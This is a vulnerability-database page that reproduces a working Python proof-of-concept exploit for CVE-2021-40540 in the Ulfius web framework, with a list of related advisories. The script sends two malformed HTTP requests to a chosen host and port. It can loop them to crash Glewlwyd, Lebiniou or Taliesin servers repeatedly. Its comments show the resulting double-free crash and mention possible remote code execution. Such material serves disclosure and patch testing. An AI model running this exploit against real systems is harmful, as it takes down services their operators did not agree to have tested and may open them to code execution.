| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| Ulfius Web Framework Remote Memory Corruption Exploit | 15 Sep 202100:00 | – | zdt | |
| CVE-2021-40540 | 7 Sep 202107:16 | – | circl | |
| Github ulfius输入验证错误漏洞 | 7 Sep 202100:00 | – | cnnvd | |
| CVE-2021-40540 | 7 Sep 202101:50 | – | cve | |
| CVE-2021-40540 | 7 Sep 202101:50 | – | cvelist | |
| CVE-2021-40540 | 7 Sep 202101:50 | – | debiancve | |
| EUVD-2021-27715 | 3 Oct 202520:07 | – | euvd | |
| CVE-2021-40540 | 7 Sep 202102:15 | – | nvd | |
| DEBIAN-CVE-2021-40540 | 7 Sep 202102:15 | – | osv | |
| OPENSUSE-SU-2024:11481-1 libulfius2_7-2.7.4-1.2 on GA media | 15 Jun 202400:00 | – | osv |
`#!/usr/bin/python3
#
# guul.py
#
# Ulfius Web Framework Remote Memory Corruption Vulnerability
#
# Jeremy Brown
# Sept 2021
#
# Intro
#
# Ulfius Web Framework is used by a number of different projects to build web services. Some of the projects
# tested and confirmed vulnerable are Glewlwyd SSO Server, Taliesin Audio Streaming Service and Lebiniou Music
# Visualization Suite (web UI).
#
# When parsing malformed HTTP requests, a heap-related initialization bug is triggered resulting in a crash in the
# server or potentially remote code execution with privileges of the running process. The affected process crashes
# with either a SIGSEGV or SIGARBT + "double free" error. This repro doesn't consistently trigger the latter condition
# though and it may take many tries / variations eg. looping a target package so it restarts on crashes and looping
# it to send many payloads or just fuzzing the crashing requests to get it in the right state.
#
# CVE-2021-40540
#
# Demo
#
# $ ./guul.py 10.0.0.2 --loop
#
# $ while :; do glewlwyd 2>&1 > /dev/null; done
# ....
# Segmentation fault (core dumped)
# Segmentation fault (core dumped)
# Segmentation fault (core dumped)
# double free or corruption (out)
# Aborted (core dumped)
#
# Debugger
#
# double free or corruption (out)
# Thread 183 "MHD-connection" received signal SIGABRT, Aborted.
#
# (gdb) bt
# 0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
# 1 0x00007ffff7afb859 in __GI_abort () at abort.c:79
# 2 0x00007ffff7b663ee in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7c90285 "%s\n")
# at ../sysdeps/posix/libc_fatal.c:155
# 3 0x00007ffff7b6e47c in malloc_printerr (str=str@entry=0x7ffff7c92670 "double free or corruption (out)") at malloc.c:5347
# 4 0x00007ffff7b70120 in _int_free (av=0x7ffff7cc1b80 <main_arena>, p=0x7fffe8000090, have_lock=<optimized out>) at malloc.c:4314
# 5 0x00007ffff766b035 in ?? () from /lib/x86_64-linux-gnu/libmicrohttpd.so.12
# 6 0x00007ffff766bed8 in MHD_destroy_post_processor () from /lib/x86_64-linux-gnu/libmicrohttpd.so.12
# 7 0x00007ffff7cf14f7 in mhd_request_completed () from /usr/local/lib/libulfius.so.2.7
# 8 0x00007ffff765c670 in ?? () from /lib/x86_64-linux-gnu/libmicrohttpd.so.12
# 9 0x00007ffff76608d6 in ?? () from /lib/x86_64-linux-gnu/libmicrohttpd.so.12
# 10 0x00007ffff7664069 in ?? () from /lib/x86_64-linux-gnu/libmicrohttpd.so.12
# 11 0x00007ffff7f57609 in start_thread (arg=<optimized out>) at pthread_create.c:477
# 12 0x00007ffff7bf8293 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
#
# Fix
# - commit c83f564c184a27145e07c274b305cabe943bbfaa
#
import os
import sys
import argparse
import random
import time
import signal
import socket
#
# confirmed affected packages
#
GLEWLWYD_PORT = 4593 # glewlwyd
LEBINIOU_PORT = 30543 # apt install lebiniou
TALIESIN_PORT = 8576 # docker run --rm -it -p 8576:8576 -v /tmp/taliesin:/var/cache/taliesin babelouest/taliesin_x86_64_sqlite_noauth_quickstart
#
# simple requests, but wasn't obvious during fuzzing that it takes two of them to trigger the crash
#
REQ_1 = b'POST / HTTP/1.1\r\rx'
REQ_2 = b'GET / HTTP/1.1\r\r'
class Guul(object):
def __init__(self, args):
self.host = args.host
self.port = args.port
self.loop = args.loop
self.sock = None
def run(self):
if(self.loop):
print("sending requests to trigger crash, hit ctrl+c to stop\n")
while(True):
if(self.triggerCrash() < 0):
return -1
else:
print("sending requests to trigger crash\n")
if(self.triggerCrash() < 0):
return -1
print("done\n")
return 0
def getSock(self):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
except Exception as error:
print("socket() failed: %s\n" % error)
return None
return sock
def connect(self):
self.sock = self.getSock()
if(self.sock == None):
return -1
try:
self.sock.connect((self.host, self.port))
except Exception as error:
print("connect() failed: %s\n" % error)
return -1
return 0
def prepNext(self, host):
self.sock.close()
time.sleep(2)
if(self.connect() < 0):
print("connection failed\n")
return -1
def sendReq(self, num, req):
try:
self.sock.send(req)
except Exception as error:
print("failed to send request %d: %s\n" % (num, error))
return -1
try:
self.sock.recv(1024)
except Exception as error:
pass # expected as target may stop responding after requests
return 0
def triggerCrash(self):
if(self.connect() < 0):
print("connection failed\n")
return -1
if(self.sendReq(1, REQ_1) < 0):
return -1
self.prepNext(self.host)
if(self.sendReq(2, REQ_2) < 0):
return -1
self.sock.close()
return 0
def stop(signum, frame):
print("\n\ndone\n")
sys.exit(0)
def arg_parse():
parser = argparse.ArgumentParser()
parser.add_argument("host",
type=str,
help="target ip")
parser.add_argument("-p",
"--port",
type=int,
default=GLEWLWYD_PORT,
help="target port (default: %d)" % GLEWLWYD_PORT)
parser.add_argument("-l",
"--loop",
default=False,
action="store_true",
help="loop sending the crashing requests for testing")
args = parser.parse_args()
return args
def main():
signal.signal(signal.SIGINT, stop)
args = arg_parse()
gg = Guul(args)
result = gg.run()
if(result > 0):
sys.exit(-1)
if(__name__ == '__main__'):
main()
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation